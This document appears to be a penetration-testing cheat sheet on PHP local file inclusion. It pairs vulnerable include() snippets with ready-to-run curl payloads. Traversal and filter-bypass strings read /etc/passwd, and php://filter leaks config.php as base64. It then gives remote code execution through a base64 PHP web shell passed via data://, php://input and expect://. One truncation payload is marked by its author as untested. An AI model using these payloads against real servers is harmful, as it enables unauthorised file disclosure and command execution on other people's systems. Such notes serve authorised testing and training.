Php include()#

File in current directory#

This code read the file with the name directly from the language GET parameter

eg. ?language=es.php to get the file es.php

include($_GET['language']);

We can do this:

curl "http://$target/index.php?language=/etc/passwd"

File in specified directory#

This code read a file in ./language directory with the name directly from the language GET parameter

eg. ?language=es.php to get the file ./language/es.php

include("./languages/" . $_GET['language']);

We can do this:

curl "http://$target/index.php?language=../../../../etc/passwd"

You can increase the number of ../ and still get to root, so if you want to be sure you get to the root (/) directory, you can just put 10 ../

Filename prefix#

This code reads the file with lang_ as prefix

eg. ?language=es.php to get the file lang_es.php

include("lang_" . $_GET['language']);

We can do this:

curl "http://$target/index.php?language=/../../../../etc/passwd"

File extension#

This code reads a file with .php extension

eg. ?language=es to get the file es.php

include($_GET['language'] . ".php");

PHP has a limitation of 4096 characters. So we can append the path with ./

We can do this:

I did not test this

echo -n "non_existing_directory/../../../../../etc/passwd/" > lfiPath && for i in {1..2048}; do echo -n "./" >> lfiPath; done
curl "http://$target/index.php?language=$(cat lfiPath)"

Another way to do this: PHP versions before 5.5 were vulnerable to null byte injection, which means we can terminate the string, so the .php extension is not considered as part of the string

curl "http://$target/index.php?language=non_existing_directory/../../../../../etc/passwd%00"

Path traversal filter#

This code reads the file name from language GET parameter, but remove any ../ characters

eg. ?language=../../../../es.php will read the file es.php

$language = str_replace('../', '', $_GET['language']);
include('./languages/' . $language);

We can do this:

curl "http://$target/index.php?language=....//....//....//....//etc/passwd"

Approved path#

This code only approve path that starts with ./languages/

eg. ?language=./languages/es.php will read the file ./languages/es.php, but ?language=./somedir/somefile is going to be error

if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

We can do this:

curl "http://$target/index.php?language=./languages/../../../../etc/passwd"

PHP filters#

Sometimes, when we want to read a .php file, it’s not possible since it will try to convert the .php file into html and displaying it. If we don’t want that, we can use PHP Filters We need resource and read filter for our attack, usually. Some more reading materials: String Filters, Conversion Filters, Compression Filters, Encryption Filters

So for example, we want to read config.php file, we can convert the file into base64 string and display it.

curl "http://$target/index.php?language=php://filter/read=convert.base64-encode/resource=config.php"

RCE#

Data:// wrapper#

Check permission#

We need allow_url_include setting enabled to do this, we can check for it by reading PHP config at /etc/php/X.Y/apache2/php.ini for apache or /etc/php/X.Y/fpm/php.ini for Nginx. With X.Y being PHP version Use the same LFI techniques above to read the file and check for allow_url_include setting. We need it to be On

First we convert a simple PHP webshell into base64

echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

Then we can run commands. Use GET parameter &cmd=<command> to execute system commands.

curl -s "http://$target/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id"

php://input#

Similar to the data wrapper, the input wrapper can be used to execute PHP code. But we pass our input to the input wrapper as a POST request’s data. So, the vulnerable parameter must accept POST requests for this attack to work. Finally, the input wrapper also depends on the allow_url_include

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://$target/index.php?language=php://input&cmd=id"

Expect:// wrapper#

expect is an external wrapper, so it needs to be manually installed and enabled on the back-end server. We can read php config file to see if it is installed and enabled, like extension=expect

curl -s "http://$target/index.php?language=expect://id"